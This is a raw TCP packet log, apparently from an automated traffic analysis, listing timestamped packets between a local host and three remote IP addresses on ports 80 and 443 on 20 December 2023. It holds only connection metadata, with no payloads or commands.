Dec 20, 2023 15:34:59.874349117 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.874351978 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.874387980 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.875210047 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.875230074 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.875247955 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.875263929 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.875297070 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.875308037 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877132893 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877157927 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877188921 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.877216101 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877259970 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877265930 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.877636909 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877656937 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877685070 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.877707005 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877721071 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877754927 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.877907038 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877919912 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877933025 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877950907 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.877959013 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.877990007 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.878396034 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.878410101 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.878448963 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.878844023 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.878856897 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.878890991 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.878892899 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.878942013 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.878943920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.879736900 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.879755020 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.879786015 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.879793882 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.879826069 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.879842997 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.880680084 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.880708933 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.880738974 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.880785942 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.880826950 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.880831957 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.881627083 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.881674051 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.881746054 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.881758928 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.881772041 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.881803989 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.882488012 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.882538080 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.882539988 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.882560015 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.882572889 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.882600069 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.883306026 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.883318901 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.883337021 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.883352995 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.883356094 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.883385897 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.884033918 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884051085 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884068012 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884083986 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.884087086 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884114027 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.884743929 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884759903 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884776115 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884788990 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.884814978 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.884844065 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.885561943 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.885579109 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.885597944 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.885610104 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.885637045 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.885644913 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.886415958 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.886430025 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.886447906 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.886461973 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.886466026 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.886496067 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.887285948 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.887305021 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.887319088 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.887331963 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.887336969 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.887355089 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.888082027 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.888096094 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.888135910 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.970058918 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.970279932 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.970295906 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.970308065 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.970330000 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.970359087 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.970546961 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.971765995 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.971780062 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.971793890 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.971807957 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.971813917 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.971841097 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.972646952 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.972697020 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.972702980 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.972728014 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.972740889 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.972769022 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.973293066 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973306894 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973334074 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973335981 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.973347902 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973375082 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.973817110 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973836899 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973858118 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.973860979 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.973906994 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.973922968 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975203991 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975223064 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975264072 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.975277901 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975317001 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975318909 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.975691080 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975738049 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.975755930 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975775003 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975789070 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.975814104 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.976347923 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.976383924 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.976394892 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.976430893 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.976463079 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.976476908 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.977185011 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.977233887 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.977240086 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.977247953 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.977277994 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.977284908 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.978044987 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978091955 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978101969 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.978146076 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978159904 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978187084 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.978872061 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978890896 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978912115 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978916883 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.978930950 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.978955984 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.981420040 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.981434107 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.981446028 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.981461048 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.981468916 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.981503963 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.983517885 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.983575106 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.983578920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.983607054 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.983619928 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.983647108 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.983829975 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.983871937 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.983972073 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.984555006 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.984575033 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.984587908 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.984601021 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.984606028 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.984633923 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.985371113 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.985389948 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.985408068 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.985416889 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.985435009 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.985466957 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.986135960 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986155033 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986182928 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.986191034 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986229897 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.986252069 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986787081 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986829042 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.986829996 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986875057 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986887932 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.986915112 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.987579107 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.987622023 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.987648010 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.987741947 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.987755060 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.987781048 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.988522053 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.988539934 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.988559961 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.988565922 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.988574982 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.988600016 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.989363909 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.989407063 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.989419937 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.989460945 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.989481926 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.989501953 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.990238905 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.990259886 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.990278959 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.990281105 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.990312099 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.990384102 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.990984917 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.991003036 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.991029978 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.991075993 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.991089106 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.991120100 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.991914034 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.991947889 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.991961002 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.992265940 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.992306948 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.992316008 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.992697954 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.992716074 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.992741108 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.992767096 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.992805958 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.992815018 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.993511915 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.993537903 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.993556976 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.993556976 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.993571997 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.993598938 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.994318962 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.994343996 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.994363070 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.994930983 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.994977951 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.994983912 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.994997978 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.995043993 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:35:00.252701998 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:35:00.377876997 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:35:00.377959013 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:35:00.390947104 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:00.390973091 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:00.391045094 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:00.391417027 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:00.391431093 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:00.654947996 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:00.655014038 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:00.658246040 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:00.658256054 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:00.658540010 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:00.659871101 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:00.704745054 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.484301090 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485057116 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485116959 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:01.485142946 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485234976 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485277891 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:01.485289097 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485560894 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485611916 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:01.485618114 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485646963 CET	443	49731	104.21.21.16	192.168.2.4
Dec 20, 2023 15:35:01.485697985 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:01.494311094 CET	49731	443	192.168.2.4	104.21.21.16
Dec 20, 2023 15:35:01.506860018 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:01.808705091 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:01.808794022 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:01.810089111 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.111541986 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.111840963 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.111886024 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.111947060 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.111957073 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112005949 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112045050 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.112076998 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112121105 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112165928 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.112190962 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112273932 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112308979 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.112359047 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112420082 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.112458944 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.413436890 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.413477898 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.413497925 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.413511038 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.413538933 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.413568974 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.413958073 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.413990974 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414004087 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414031029 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414031029 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414071083 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414135933 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414155960 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414175987 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414195061 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414216042 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414249897 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414254904 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414284945 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414304972 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414324999 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414350986 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414387941 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414388895 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414423943 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414458036 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414460897 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.414477110 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.414514065 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.714982986 CET	80	49734	185.172.128.19	192.168.2.4
